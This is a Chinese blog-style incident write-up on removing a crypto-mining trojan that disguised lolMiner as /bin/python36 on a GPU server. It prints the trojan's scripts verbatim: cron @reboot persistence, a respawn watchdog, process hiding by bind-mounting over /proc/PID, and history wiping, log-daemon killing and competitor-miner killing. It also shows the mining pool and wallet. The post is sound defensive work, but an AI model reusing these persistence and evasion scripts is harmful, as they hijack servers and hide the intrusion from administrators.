处理服务器上的挖矿木马小记
文章目录
- 处理服务器上的挖矿木马小记
- 挖矿木马发现
- 挖矿程序定位(失败)
- 异常用户排查
- 挖矿程序定位(成功)
- 挖矿木马分析
- 解决木马的方法
处理服务器上的挖矿木马小记
- 参考:
- https://zhuanlan.zhihu.com/p/405165722
- https://www.modb.pro/db/107110
挖矿木马发现
- 通过
nvidia-smi
发现异常占用程序python36
nvidia-smi
挖矿程序定位(失败)
- 通过ps命令获取进程相关信息
ps -ef | grep python36
- 经观察,发现
/bin/python36
和/bin/config.py
每小时由root重新创建一次且运行,怀疑设定了cron定时任务,但检索各种cron配置无果。
查看用户定时任务:crontab -l
编辑用户定时任务:crontab -e
路径存放处:
/etc/crontab
/var/spool/cron/root
/var/spool/cron/crontabs/root
systemctl
查看父进程信息
systemctl status 59744
确实是使用了cron设置定时任务
- 查看
/tmp
下是否有可疑文件,并没有,清得挺干净
异常用户排查
- 排查
/etc/passwd
,发现异常用户roo1,先用pwck
修复密码文件,然后将其删除
pwck
userdel -r roo1
挖矿程序定位(成功)
- 根据
/bin/python36
挖矿程序的大小进行查找,发现在/opt/.opt
里有可疑程序,执行后确认为挖矿木马相关的所有程序!
find / -size 5222752c
挖矿木马分析
每次运行,会修改dir.dir、cron.d、upd、bash.pid(进程号)、.a(日志文件)
1:lolMiner程序
2:config文件内容(挖矿账号)
algo=ETHASH
pool=node.universitynetservice1979.info:12020
tls=on
user=0xfff23333c1cb3a3c9db8a0d781383cdc2c00b6da.XXXUSERXXX
a:写入upd,写入crontab,运行run(最开始的一次)
pwd > dir.dir
dir=$(cat dir.dir)
#echo "* * * * * $dir/upd >/dev/null 2>&1" > cron.d
echo "@reboot $dir/upd >/dev/null 2>&1" >> cron.d
crontab cron.d
crontab -l | grep upd
echo "#!/bin/sh
if test -r $dir/bash.pid; then
pid=\$(cat $dir/bash.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
sleep 1
else
cd $dir
./run &>/dev/null
exit 0
fi
fi" >upd
chmod u+x upd
./run &>/dev/null
bash.pid:
61731
c:“善后”程序,清理各种可疑痕迹
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH ; history -n ; export HISTFILE=/dev/null ; export HISTSIZE=0; export HISTFILESIZE=0
sleep 3
crontab -r >.a
chattr -uais /tmp/* >.a
chattr -uais /tmp/.* >.a
chattr -uais /tmp/.z >.a
chattr -uais /var/tmp/* >.a
chattr -uais /var/tmp/.* >.a
chattr -uais /var/tmp/.*/* >.a
chattr -uais /tmp/.*/* >.afor pid in $(ps -ef | grep "x.sh" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "xmr-stak" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "yam" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "top" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "htop" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "stratum" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "yam32" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "httpd.conf" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "xmr" | awk '{print $2}'); do kill -9 $pid; done >.a
for pid in $(ps -ef | grep "cryptonight" | awk '{print $2}'); do kill -9 $pid; done >.asleep 3
kill -9 `ps x|grep " -tty"|awk '{print $1}'` > .a
kill -9 `ps x|grep " -sshd"|awk '{print $1}'` > .a
kill -9 `ps x|grep hpiod|awk '{print $1}'` > .a
kill -9 `ps x|grep hpssd.py|awk '{print $1}'` > .a
kill -9 `ps x|grep httpd.conf|grep -v grep|awk '{print $1}'` > .a
kill -9 `ps x|grep httpsd|awk '{print $1}'` > .a
kill -9 `ps x|grep crypto|awk '{print $1}'` > .a
kill -9 `ps x|grep md32|awk '{print $1}'` > .a
kill -9 `ps x|grep mdx|awk '{print $1}'` > .a
kill -9 `ps x|grep run64|awk '{print $1}'` > .a
kill -9 `ps x|grep /sbin/klogd|awk '{print $1}'` > .a
kill -9 `ps x|grep /sbin/syslogd|awk '{print $1}'` > .a
kill -9 `ps x|grep /tmp/|awk '{print $1}'` > .a
kill -9 `ps x|grep cpuminer|awk '{print $1}'` > .a
kill -9 `ps x|grep /usr/sbin/acpid|awk '{print $1}'` > .a
kill -9 `ps x|grep /tmp/yam|awk '{print $1}'` > .a
kill -9 `ps x|grep /tmp/yam32|awk '{print $1}'` > .a
kill -9 `ps x|grep tsm|grep -v grep|awk '{print $1}'` >.a
kill -9 `ps x|grep rsync|grep -v grep|awk '{print $1}'` >.asleep 3
killall -9 a bssh >.a
killall -9 f b >.a
killall -9 a bssh >.a
killall -9 s >.a
killall -9 b >.asleep 3
echo "DONE"
cron.d:
@reboot /opt/.opt/upd >/dev/null 2>&1
@reboot /opt/.opt/upd >/dev/null 2>&1
dir.dir:
/opt/.opt
run:运行挖矿程序
#!/bin/bash
proc=`nproc`
ARCH=`uname -m`
HIDE="python3"
User="default"
proxy=""
ifsudo=""if [ -f "user" ]; thenUser=`cat user`
fiif [ `id -u` -eq 0 ];thenifsudo="sudo"
elseifsudo=""
fichattr -ai /bin/python36
rm -rf /bin/python36
chattr -ai /bin/config.py
rm -rf /bin/config.pyif [ -f "proxy" ]; thenproxy=`cat proxy` cp -rf 1 /bin/python36cp -rf 2 /bin/config.pysed -i "s/XXXPROXYXXX/$proxy/" /bin/config.pysed -i "s/XXXUSERXXX/$User/" /bin/config.py
elsecp -rf 1 /bin/python36cp -rf 2 /bin/config.pysed -i "s/XXXPROXYXXX//" /bin/config.pysed -i "s/XXXUSERXXX/$User/" /bin/config.py
fi
$ifsudo nohup /bin/python36 --config /bin/config.py >>/dev/null &
echo $! > bash.pid
mkdir /tmp/empty
PID=`cat bash.pid`
mount --bind /tmp/empty /proc/$PID
upd:将run运行起来(防删作用)
#!/bin/sh
if test -r /opt/.opt/bash.pid; then
pid=$(cat /opt/.opt/bash.pid)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
sleep 1
else
cd /opt/.opt
./run &>/dev/null
exit 0
fi
fi
user:
D-12
x:
nohup ./a >>/dev/null &
解决木马的方法
为了避免出现其它问题(网上有人删除python36后显卡驱动会连接不上,不知道是什么原理),暂时采用如下方案:
修改“2”,将内容清空,这样config.py就会是空文档,lolminer无法运行。
实测这样处理后python36就会因配置文件空白无法启动,问题解决。
但是这样木马仍会尝试定时运行(只是到启动python36步骤失败,可以看出bash.pid等文件仍在不断更新),因此把其它木马程序(a、cron.d、dir.dir、run、upd、user、x)也尝试写成空文件。
处理服务器上的挖矿木马小记相关推荐
- 云服务器被植入挖矿木马,CPU飙升200%处理方案
云服务器被植入挖矿木马,CPU飙升200%处理方案 1,通过执行top命令,即可在返回结果中看到当时系统的CPU占用率. top -c 2.检查防火墙iptables规则中是否存在可疑端口 iptab ...
- 第七十六期:糟糕!服务器被植入挖矿木马,CPU飙升200%
某日,正在午休中,突然一则噩耗从前线传来:网站不能访问了! 作者:我叫刘半仙 某日,正在午休中,突然一则噩耗从前线传来:网站不能访问了! 图片来自 Pexels 此项目是我负责,线上服务器用的是某讯云 ...
- net start mysql 服务名无效_记一次服务器被植入挖矿木马cpu飙升200%解决过程
来自:开源中国,作者:我叫刘半仙 链接:https://my.oschina.net/liughDevelop/blog/1786631 " 某日,正在午休中,突然一则噩耗从前线传来:网站 ...
- 糟糕!服务器被植入挖矿木马,CPU飙升200%
此项目是我负责,线上服务器用的是某讯云的,运行着 Tomcat,MySQL,MongoDB,ActiveMQ 等程序. 排查过程 我以 150+ 的手速立即打开了服务器,看到 Tomcat 挂了,然后 ...
- 云服务器被植入挖矿木马,CPU飙升200%
原文链接:https://bbs.pediy.com/thread-268197.htm 本文为腾讯安全专家撰写的<挖矿木马自助清理手册>,可以为政企客户安全运维人员自助排查清理挖矿木马提 ...
- 糟糕!服务器被植入挖矿木马,CPU 飙升200%。。。
线上服务器用的是某讯云的,欢快的完美运行着Tomcat,MySQL,MongoDB,ActiveMQ等程序.突然一则噩耗从前线传来:网站不能访问了! 此项目是我负责,我以150+的手速立即打开了服务器 ...
- 服务器被植入挖矿木马的心酸过程
转自 https://juejin.im/post/5aa0cc476fb9a028d82b5695 最近打开服务变得很慢,然后 CPU,内存占用有达到了100%,打开网站都很慢,这个肯定很反常的,平 ...
- Linux 服务器上有挖矿病毒 kdevtmpfsi 处理办法
症状表现 服务器CPU资源使用一直处于100%的状态,通过 top 命令查看,发现可疑进程 kdevtmpfsi.通过 google搜索,发现这是挖矿病毒. 排查方法 首先:查看 kdevtmpfsi ...
- 记一次Linux服务器上查杀木马经历
ClamAV介绍 ClamAV是一个在命令行下查毒软件,因为它不将杀毒作为主要功能,默认只能查出您计算机内的病毒,但是无法清除,至多删除文件.ClamAV可以工作很多的平台上,但是有少数无法支持, ...
最新文章
- 图解ElasticSearch 搜索原理
- 将您的窗口最前端显示
- ASP.NET 2.0的全球化与本地化之全球化
- 使用密钥验证方式登录linux系统
- 为什么是string.join(list)而不是list.join(string)?
- [Java入门笔记] Java语言基础(二):常量、变量与数据类型
- linux xshell上传文件夹,XShell上传文件到Linux服务器上
- SAP UI5 bindItem will cause OData refresh
- ASH的适用场景和常见用法(附2个经典案例)
- Pandas出现KeyError及其分析解决
- 小林求职记(二):说好的问基础,为啥我感觉一点也不基础呢?
- Tina-TI 电路仿真 多参数交流传输特性分析 频率与相位增益的关系 选择控制对象
- 第十五章 iptables
- python进入上下文管理器_浅谈Python中with(上下文管理器)的用法
- 详解解决CAS机制中ABA问题的AtomicStampedReference
- 关于 The SqlParameter is already contained by another SqlParameterCollection 报错的解决方案
- 【无标题】百度地图的基本使用
- CleanMyMac X免费吗?怎么下载2023最新版
- 实验3 STP简单配置及介绍
- 开发板浮点型运算能力测试